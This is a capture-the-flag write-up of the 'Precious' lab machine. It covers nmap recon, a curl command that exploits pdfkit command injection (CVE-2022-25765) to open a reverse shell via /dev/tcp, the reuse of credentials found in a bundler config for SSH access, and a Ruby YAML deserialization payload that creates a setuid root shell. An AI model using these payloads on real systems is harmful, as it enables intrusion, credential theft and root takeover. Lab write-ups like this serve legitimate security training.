Precious

Recon

nmap_scan.log
Open 10.129.92.176:22
Open 10.129.92.176:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -vvv -sV -sC -Pn" on ip 10.129.92.176

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEAPxqUubE88njHItE+mjeWJXOLu5reIBmQHCYh2ETYO5zatgel+LjcYdgaa4KLFyw8CfDbRL9swlmGTaf4iUbao4jD73HV9/Vrnby7zP04OH3U/wVbAKbPJrjnva/czuuV6uNz4SVA3qk0bp6wOrxQFzCn5OvY3FTcceH1jrjrJmUKpGZJBZZO6cp0HkZWs/eQi8F7anVoMDKiiuP0VX28q/yR1AFB4vR5ej8iV/X73z3GOs3ZckQMhOiBmu1FF77c7VW1zqln480/AbvHJDULtRdZ5xrYH1nFynnPi6+VU/PIfVMpHbYu7t0mEFeI5HxMPNUvtYRRDC14jEtH6RpZxd7PhwYiBctiybZbonM5UP0lP85OuMMPcSMll65+8hzMMY2aejjHTYqgzd7M6HxcEMrJW7n7s5eCJqMoUXkL8RSBEQSmMUV8iWzHW0XkVUfYT5Ko6Xsnb+DiiLvFNUlFwO6hWz2WG8rlZ3voQ/gv8BLVCU1ziaVGerd61PODck=
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFScv6lLa14Uczimjt1W7qyH6OvXIyJGrznL1JXzgVFdABwi/oWWxUzEvwP5OMki1SW9QKX7kKVznWgFNOp815Y=
|   256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH+JGiTFGOgn/iJUoLhZeybUvKeADIlm0fHnP/oZ66Qb
80/tcp open  http    syn-ack nginx 1.18.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP (80)

Writeup.png

We can send POST request with URL to render the pages into PDF.

Writeup-1.png

Let's try to play with Server Side XSS (Dynamic PDF)

Common payloads didn't yield any success.

In the response headers we see Phusion Passenger (?) is being used and programming language is Ruby.

X-Powered-By: Phusion Passenger(R) 6.0.15
Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
X-Runtime: Ruby

PDF is generated by pdfkit v0.8.6

└─$ exiftool ~/Downloads/2ajrv7fsdguc46cz32kkqqgsuz6nilxj.pdf
...
Creator                         : Generated by pdfkit v0.8.6

PDFkit-CMD-Injection-CVE-2022-25765

Looks like we can just inject RCE in to the URL

Writeup-2.png
curl 'http://precious.htb/' -d 'url=http%3a%2f%2f10.10.14.113%3fname%3d%2520%60%2fbin%2fbash%20-c%20\'%2fbin%2fbash%20-i%20%3e%26%20%2fdev%2ftcp%2f10.10.14.113%2f4444%200%3e%261\'%60'

Turned out the %20 should have been like that, so it requires double URL Encoding, not once. With only just space it doesn't work, but with %20 we get a callback.

└─$ pwncat-cs -lp 4444
(remote) ruby@precious:/var/www/pdfapp$ id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)

Use has credentials for bundle hardcoded in home directory

(remote) ruby@precious:/home/ruby/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

SSH (22)

Creds: henry:Q3c1AqGHtoI0aXAYFH

└─$ sshpass -p 'Q3c1AqGHtoI0aXAYFH' ssh henry@precious.htb
henry@precious:~$ id
uid=1000(henry) gid=1000(henry) groups=1000(henry)

User.txt

henry@precious:~$ cat user.txt
b17ecabd552f52d8a3fd5422bffdbb1d

Privilege Escalation

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:~$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

Universal RCE with Ruby YAML.load (versions > 2.7)

henry@precious:~$ nano dependencies.yml
henry@precious:~$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: install -m4777 /bin/bash /tmp/rootbash
         method_id: :resolve
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
...
henry@precious:~$ ls /tmp/rootbash -l
-rwsrwxrwx 1 root root 1234376 Dec  7 16:24 /tmp/rootbash

Root.txt

henry@precious:~$ /tmp/rootbash -p
rootbash-5.1# cat /root/root.txt
0c665ae5e406a97f3482c0d6c661c95d

Last updated